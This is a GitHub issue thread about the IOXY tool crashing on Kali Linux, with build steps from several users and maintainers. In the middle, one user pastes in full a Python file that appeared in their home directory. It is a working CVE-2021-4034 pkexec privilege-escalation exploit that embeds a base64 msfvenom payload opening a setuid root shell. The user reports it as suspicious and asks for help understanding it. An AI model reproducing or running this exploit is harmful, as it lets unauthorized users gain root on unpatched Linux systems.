Closed MichaelVirnig closed 1 year ago
hutchYy
commented
1 year ago Hi Michael!
Thanks for showing interest in IOXY and submitting the issue! We added this issue to our tracking list and will comeback to you soon with more details and hopefully, a fix :)
Have a nice day!
Best regards, hutchYy
SecJoe
commented
1 year ago Same here on kali. I think much people (pentester) are using IOXY primarily on kali, so the that tool should be tested and fully working on kali primary.
@MichaelVirnig: Do you have found any workaround?
FlyingDomotic
commented
1 year ago I have the same problem here with an RPi 4 under Buster.
And under Kali on PC. Just after running ./ioxy gui, I found some strange files on my home directory.
First, a ''GCONV_PATH=./' empty file. Second, an exploit folder, containing a gconv-modules file with an header Last, a test.py file containing:
#!/usr/bin/env python3
# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes
# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c
import base64
import os
import sys
from ctypes import *
from ctypes.util import find_library
# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)
# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)
# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()
# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()
# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()
# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)I'm not an expert, but this looks like an exploit, trying to do unknown things, as I don't understand what's in Base64 payload, supposed to be an ELF file, I don't know which OS is targeted.
Reading the code, I suspect a crash in the last line, probably due to the fact that ELF format is not for the right OS/CPU.
FYI, this was done on a brand new go language installation on both Kali and Debian, with native (golang-go, notgccgo-go), following #https://github.com/NVISOsecurity/IOXY/issues/8#issuecomment-1053672988 procedure (except that I didn't remove gcc-go, as it was not installed). That's the only go language code I ever ran on this machine. This may be located somewhere in the used modules, but I didn't try yet to locate it, as I a very newbie in go (but I'll try to fix it!)
hutchYy
commented
1 year ago Hi @FlyingDomotic, @MichaelVirnig,
I just tried to reproduce your issues on a fresh new kali:
┌──(kali㉿kali)-[~]
└─$ cat /etc/os-release
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"Here is the steps I made to install IOXY on a fresh Kali:
sudo apt update && sudo apt install -y golang-go
git clone https://github.com/NVISOsecurity/IOXY.git
cd IOXY/ioxy
CGO_CFLAGS="-g -O2 -Wno-return-local-addr" go build .
./ioxy gui
[ IN ANOTHER SHELL]
sudo netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp6 0 0 :::1111 :::* LISTEN 8827/./ioxyWhen browsing to http://127.0.0.1:111, I have the correct gui interface:
I also had a look at the dependencies, and they are version pinned + hash checked, which means that it used a trusted version and even if a repository get infected, a library would not be installed as it is not valid.
@FlyingDomotic, also, I just checked my local files for malicious scripts, but as you can see I found nothing:
┌──(kali㉿kali)-[~]
└─$ sudo grep -ri "ammond" /root /home
┌──(kali㉿kali)-[~]
└─$ So think that when debugging IOXY you installed malicious golang packages. I would suggest that you further investigate so you can clean up your possibly compromised machine :)
Waiting for your input to see if my fix works on your machines. If it works as expected, I will then update the README.txt to add the steps I just mentioned.
Have a nice day and take care! hutchYy
MichaelVirnig
commented
1 year ago FlyingDomotic
commented
1 year ago On my side, I didn't debug anything. I just ran the following commands, on a system without go language:
sudo apt update
sudo apt upgrade
sudo apt install golang-go
sudo apt install golang-github-mattn-go-sqlite3-dev
git clone https://github.com/NVISO-BE/IOXY
cd IOXY/ioxy
export CGO_CFLAGS="-g -O2 -Wno-return-local-addr"
go build -gccgoflags='-lpthread'
./ioxy guiSeems close to your method, except for golang-github-mattn-go-sqlite3-dev, which was explained on issue #8.
FlyingDomotic
commented
1 year ago As requested, I removed what I did install, and deleted both go and IOXY trees from my home folder. I then ran Exactly to given commands. os-release contains:
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"I still had the crash. I removed again everything and installed gccgo-go instead of golang-go. It worked and I have no errors now. It seems that golang-go is causing the error, while gccgo-go doesn't, at least in my case. It may be interesting to modify IOXY README.md. However, I don't understand why I got the malicious python file. Can someone try to decompile ELF file to see what it (try to) do?
windBlaze
commented
1 year ago @FlyingDomotic thank you for the update :) I think the issue might be the architecture / CPU of your host (gccgo-go supports more CPUs / architectures than golang-go). In any case, we've updated the README instructions to include both options. I've re-tested them on a clean install of Kali 2022.03, and both methods worked without errors.
FlyingDomotic
commented
1 year ago @windBlaze Thanks!
FYI, machine is an Intel Core I5-1035G1 with 4 x Sunny Cove, something common and not so old ;-)
I am trying to install on the latest kali linux build. I have golang-go working and am able to complete the build with go. I have go 1.19.1 installed and go-sqlite3 v1.14.15 Whenever I try to launch the gui I get the following error.
./ioxy gui panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x7a3226]
goroutine 1 [running]: debug/elf.(*Section).ReadAt(0xc00017c340?, {0xc00020ac00?, 0xeda8f0?, 0x34?}, 0x40?)